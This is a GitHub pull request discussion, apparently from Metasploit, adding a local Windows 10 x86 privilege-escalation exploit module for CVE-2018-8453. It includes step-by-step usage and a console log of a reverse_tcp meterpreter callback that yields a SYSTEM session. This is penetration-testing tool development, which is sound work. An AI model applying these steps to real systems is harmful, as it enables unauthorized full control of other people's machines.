Add module for cve-2018-8453

[jrobles-r7]

Add local Windows Privilege escalation module for cve-2018-8453.
PoC code is from x86 version of https://github.com/ze0r/cve-2018-8453-exp
The author has given permission to use their code in msf as well.

Verification

List the steps needed to make sure this thing works

• Get a non-SYSTEM meterpreter session on Win10 v1703 x86
• use exploit/windows/local/cve_2018_8453_win32k_priv_esc
• set session <session>
• exploit
• Get a SYSTEM session

[wvu]

Removed tests label. Reapply if I was wrong. Thanks.

[wvu]

Another clean submission. Very nice. Only a couple questions but otherwise no changes required.

[wchen-r7]

So Jacob and I had a little discussion about this pull request, and I requested at least these changes:

• The exploit binary needs to be compiled with /MT for the runtime library setting.
• The offsets are rather specific to build 15063 on Win 10. We want to allow that to be more configurable for the user, also ship with pre-configured ones to cover common builds (example: images downloadable from MSDN)

After that, as long as the exploit works, I can take over the rest and land this.

[wchen-r7]

It works!

msf5 exploit(windows/local/cve_2018_8453_win32k_priv_esc) > show options

Module options (exploit/windows/local/cve_2018_8453_win32k_priv_esc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.16.138.1     yes       The listen address (an interface may be specified)
   LPORT     5555             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 10 v1703 (Build 15063) x86


msf5 exploit(windows/local/cve_2018_8453_win32k_priv_esc) > run

[*] Started reverse TCP handler on 172.16.138.1:5555 
[+] Exploit finished, wait for privileged payload execution to complete.
[*] Sending stage (179779 bytes) to 172.16.138.129
[*] Meterpreter session 2 opened (172.16.138.1:5555 -> 172.16.138.129:49674) at 2019-07-15 02:35:24 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

[wchen-r7]

A little minor changes here and there and then I should be able to land it. Thanks for waiting!

[wchen-r7]

Release Notes

A module for cve-2018-8453 has been added to the framework. It is a local Windows Privilege escalation module that works for x86 Windows 10 build 15063.